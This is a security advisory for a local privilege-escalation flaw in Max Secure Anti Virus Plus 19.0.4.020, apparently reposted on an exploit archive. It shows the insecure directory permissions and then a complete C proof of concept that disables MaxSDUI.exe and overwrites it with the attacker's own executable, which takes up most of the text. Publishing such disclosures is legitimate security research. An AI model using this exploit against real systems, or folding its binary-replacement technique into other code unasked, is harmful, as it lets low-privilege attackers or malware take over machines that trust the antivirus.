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Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions Vulnerability
[# Exploit Title: Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions
# Discovery by: hyp3rlinx
# Vendor Homepage: www.maxpcsecure.com
# Tested Version: 19.0.4.020
# CVE: N/A
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MAX-SECURE-PLUS-ANTIVIRUS-INSECURE-PERMISSIONS.txt
[+] ISR: ApparitionSec
[Vendor]
www.maxpcsecure.com
[Affected Product Code Base]
Max Secure Anti Virus Plus - 19.0.4.020
File hash: ab1dda23ad3955eb18fdb75f3cbc308a
msplusx64.exe
[Vulnerability Type]
Insecure Permissions
[CVE Reference]
N/A
[Security Issue]
Max Secure Anti Virus Plus 19.0.4.020 has Insecure Permissions on the installation directory.
Local attackers or malware running at low integrity can replace a .exe or .dll file to achieve privilege escalation.
C:\Program Files\Max Secure Anti Virus Plus>cacls * | more
C:\Program Files\Max Secure Anti Virus Plus\7z.dll NT AUTHORITY\Authenticated Users:(ID)F
BUILTIN\Users:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
[Affected Component]
Permissions on installation directory
[Exploit/POC]
#include <stdio.h>
#include <windows.h>
#define TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxSDUI.exe"
#define TMP "C:\\Program Files\\Max Secure Anti Virus Plus\\2.exe"
#define DISABLED_TARGET "C:\\Program Files\\Max Secure Anti Virus Plus\\666.tmp"
/* Max Secure Anti Virus Plus PoC By hyp3rlinx */
BOOL PWNED=FALSE;
BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
void main(void){
if(!FileExists(DISABLED_TARGET)){
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Max Secure Anti Virus Plus EoP PoC\n");
Sleep(1000);
printf("[+] Disabled MaxSDUI.exe ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Replaced legit Max Secure EXE...\n");
Sleep(2000);
printf("[+] Done!\n");
MoveFile(fname, "C:\\Program Files\\Max Secure Anti Virus Plus\\MaxPwn.lnk");
Sleep(1000);
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Max Secure Anti Virus Plus PWNED!!!\n");
printf("[+] hyp3rlinx\n");
system("pause");
}
}
[POC Video URL]
https://www.youtube.com/watch?v=DXSV5geXkTw
# 0day.today [2024-11-15] #